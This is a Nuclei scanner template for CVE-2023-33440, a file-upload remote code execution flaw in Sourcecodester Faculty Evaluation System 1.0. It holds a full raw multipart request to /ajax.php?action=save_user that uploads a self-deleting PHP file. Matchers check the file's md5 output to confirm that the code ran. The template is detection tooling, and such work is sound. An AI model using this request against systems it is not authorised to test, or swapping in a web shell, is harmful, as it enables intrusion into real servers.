nuclei-templates/http/cves/2023/CVE-2023-33440.yaml

89 lines
3.1 KiB
YAML

id: CVE-2023-33440
info:
name: Faculty Evaluation System v1.0 - Remote Code Execution
author: Harsh
severity: high
description: |
Sourcecodester Faculty Evaluation System v1.0 is vulnerable to arbitrary code execution via /eval/ajax.php?action=save_user.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
reference:
- http://packetstormsecurity.com/files/172672/Faculty-Evaluation-System-1.0-Shell-Upload.html
- https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/RCE-1.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-333440
- https://github.com/1337kid/Exploits
- https://github.com/Alexander-Gan/Exploits
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2023-33440
cwe-id: CWE-434
epss-score: 0.08056
epss-percentile: 0.93711
cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: faculty_evaluation_system_project
product: faculty_evaluation_system
tags: cve2023,cve,packetstorm,faculty,rce,intrusive,faculty_evaluation_system_project
variables:
email: "{{randstr}}@{{rand_base(5)}}.com"
string: "CVE-2023-33440"
http:
- raw:
- |
POST /ajax.php?action=save_user HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------1037163726497
-----------------------------1037163726497
Content-Disposition: form-data; name="id"
1
-----------------------------1037163726497
Content-Disposition: form-data; name="firstname"
Administrator
-----------------------------1037163726497
Content-Disposition: form-data; name="lastname"
a
-----------------------------1037163726497
Content-Disposition: form-data; name="img"; filename="{{randstr}}.php"
Content-Type: application/octet-stream
<?php echo md5("{{string}}");unlink(__FILE__);?>
-----------------------------1037163726497
Content-Disposition: form-data; name="email"
{{email}}
-----------------------------1037163726497
Content-Disposition: form-data; name="password"
-----------------------------1037163726497
Content-Disposition: form-data; name="cpass"
-----------------------------1037163726497--
- |
GET /login.php HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'regex("^1$", body_1)'
- '!regex("^2$", body_1)'
- 'len(body_1) == 1'
- 'contains(body_2, "Faculty Evaluation")'
condition: and
# digest: 4a0a00473045022100f46293b8073f7feb73466f375ea29605a51c096af01c4816241166a69c603631022014393248bcab1932c5437e8434c9d61f71848a6068b89042745e3b10cc28e967:922c64590222798bb761d5b6d8e72950